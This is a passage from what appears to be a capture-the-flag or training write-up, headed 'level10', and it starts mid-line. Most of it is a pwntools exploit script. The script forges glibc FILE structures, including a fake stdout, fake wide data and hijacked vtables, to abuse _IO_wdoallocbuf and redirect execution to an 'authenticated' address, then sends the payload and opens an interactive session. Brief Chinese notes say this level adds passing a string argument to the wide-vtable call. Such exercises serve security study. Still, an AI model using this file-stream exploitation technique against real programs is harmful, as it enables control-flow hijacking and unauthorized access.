@ " ,hex (stdout_addr))print ("fake_fp @ " ,hex (fake_fp_addr))print ("fake_fp_addr - stdout_addr = " ,hex (fake_fp_addr - stdout_addr))fake_wide_data_addr = fake_fp_addr + 0xe0 - 0xe0 fake_IO_wdoallocbuf_addr = fake_fp_addr + 0xe0 + 8 print ("fake_IO_wdoallocbuf_addr @ " ,hex (fake_IO_wdoallocbuf_addr))fake_stdout_fp = FileStructure() fake_stdout_fp.flags = 0xfbad2887 fake_stdout_fp.fileno = 1 fake_stdout_fp.chain = fake_fp_addr fake_stdout_fp._lock = fake_fp_addr + 0x8 fake_stdout_fp.vtable = _IO_file_jumps_addr fake_fp = FileStructure() fake_fp.flags = ~(0x800 | 0x8 | 0x2 ) fake_fp._IO_write_ptr = 1 fake_fp._IO_write_end =0 fake_fp._lock = fake_fp_addr + 0x10 fake_fp.vtable = _IO_wfile_jumps_addr fake_fp._wide_data = fake_wide_data_addr print (fake_stdout_fp)print (fake_fp)payload =bytes (fake_stdout_fp) + bytes (fake_fp) + p64(fake_IO_wdoallocbuf_addr - 0x68 ) + p64(authenticated_addr) +p64(0 ) + p64(0 ) print (payload)print (hex (len (payload)))print (proc.pidof(p)[0 ])p.send(payload) p.interactive()
level10
相比于level8,多了一步
在调用wide_vtable函数时需要传递字符串参数